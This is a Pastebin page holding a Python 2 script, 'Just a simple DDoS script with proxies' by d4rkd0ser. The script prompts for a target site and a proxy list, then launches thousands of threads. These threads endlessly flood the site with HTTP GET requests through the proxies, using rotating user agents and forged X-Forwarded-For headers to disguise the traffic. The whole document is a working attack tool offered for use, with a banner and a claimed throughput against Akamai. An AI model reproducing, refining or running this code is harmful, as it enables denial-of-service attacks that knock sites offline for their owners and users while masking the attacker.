Advertisement
Guest User

d4arkd0ser

a guest
Feb 17th, 2017
1,204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.92 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #coding: utf8
  3. #Just a simple DDoS script with proxies
  4. #Coded by d4rkd0ser
  5. # dstat on Akamai : around 4k r/script
  6.  
  7.  
  8.  
  9. import random
  10. import socket
  11. import threading
  12. import time
  13.  
  14.  
  15. #colours
  16. class bcolors:
  17. GREEN = '\033[92m'
  18. RED = '\033[91m'
  19. BLUE = '\033[94m'
  20. #Nothing special but yea still good
  21. userAgents = ["Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
  22. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
  23. "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
  24. "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
  25. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
  26. "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
  27. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0",
  28. "Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0",
  29. "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0",
  30. "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3",
  31. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  32. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0",
  33. "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))",
  34. "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
  35. "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)",
  36. "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
  37. "Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00",
  38. "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
  39. "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14",
  40. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14",
  41. "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
  42. "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
  43. "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00",
  44. "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)",
  45. "HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)",
  46. "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)",
  47. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+",
  48. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
  49. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+",
  50. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
  51. "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7",
  52. "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5",
  53. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
  54. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  55. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
  56. "Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3",
  57. "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",]
  58.  
  59. def randomIp():
  60. random.seed()
  61. result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
  62. result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  63. return result
  64.  
  65. def randomIpList():
  66. random.seed()
  67. res = ""
  68. for ip in xrange(random.randint(2, 8)):
  69. res = res + randomIp() + ", "
  70. return res[0:len(res) - 2]
  71.  
  72. def randomUserAgent():
  73. return random.choice(userAgents)
  74.  
  75.  
  76.  
  77. class attacco(threading.Thread):
  78. def run(self):
  79.  
  80. current = x
  81.  
  82.  
  83. if current < len(listaproxy):
  84. proxy = listaproxy[current].split(':')
  85. else:
  86.  
  87. proxy = random.choice(listaproxy).split(':')
  88.  
  89. # you know what this is lol
  90. useragent = "User-Agent: " + randomUserAgent() + "\r\n"
  91. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  92.  
  93. httprequest = get_host + useragent + accept + forward + connection + "\r\n"
  94.  
  95.  
  96. while nload:
  97. time.sleep(1)
  98.  
  99.  
  100. while 1:
  101.  
  102. try:
  103.  
  104. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  105.  
  106.  
  107. a.connect((proxy[0], int(proxy[1])))
  108.  
  109.  
  110. a.send(httprequest)
  111.  
  112. try:
  113. for i in xrange(3):
  114. a.send(httprequest)
  115. except:
  116. tts = 1
  117.  
  118.  
  119. except:
  120. proxy = random.choice(listaproxy).split(':')
  121.  
  122.  
  123.  
  124. # main
  125. print bcolors.GREEN + \
  126. """
  127. ,
  128. dM
  129. MMr
  130. 4MMML .
  131. MMMMM. xf
  132. . "M6MMM .MM-
  133. Mh.. +MM5MMM .MMMM
  134. .MMM. .MMMMML. MMMMMh
  135. )MMMh. MM5MMM MMMMMMM
  136. 3MMMMx. 'MMM3MMf xnMMMMMM"
  137. '*MMMMM MMMMMM. nMMMMMMP"
  138. *MMMMMx "MMM5M\ .MMMMMMM=
  139. *MMMMMh "MMMMM" JMMMMMMP
  140. MMMMMM GMMMM. dMMMMMM .
  141. MMMMMM "MMMM .MMMMM( .nnMP"
  142. .. *MMMMx MMM" dMMMM" .nnMMMMM*
  143. "MMn... 'MMMMr 'MM MMM" .nMMMMMMM*"
  144. "4MMMMnn.. *MMM MM MMP" .dMMMMMMM""
  145. ^MMMMMMMMx. *ML "M .M* .MMMMMM**"
  146. *PMMMMMMhn. *x > M .MMMM**""
  147. ""**MMMMhx/.h/ .=*"
  148. .3P"%....
  149. nP" "*MMnx
  150. DDoS Attack using proxies
  151. Coded by d4rkd0ser
  152.  
  153. """
  154. # input host
  155. url = raw_input("Site: ")
  156. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  157.  
  158. # input the proxy list
  159. in_file = open(raw_input("Proxy List: "),"r")
  160. proxyf = in_file.read()
  161. in_file.close()
  162.  
  163. # proxy stuff
  164. listaproxy = proxyf.split('\n')
  165.  
  166. # input of the treads
  167. thread = input("Threads (2000): ")
  168.  
  169.  
  170. # header stuff
  171. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  172. accept = "Accept-Encoding: gzip, deflate\r\n"
  173.  
  174. # Keep-alive connection LOL
  175.  
  176. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  177.  
  178.  
  179.  
  180. nload = 1
  181.  
  182.  
  183. x = 0
  184.  
  185. # Threads
  186. for x in xrange(thread):
  187. attacco().start()
  188. time.sleep(0.003)
  189. print bcolors.BLUE + "Thread " + str(x) + " started!"
  190.  
  191. print bcolors.RED + "Attack Started..."
  192.  
  193. nload = 0
  194.  
  195.  
  196. while not nload:
  197. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement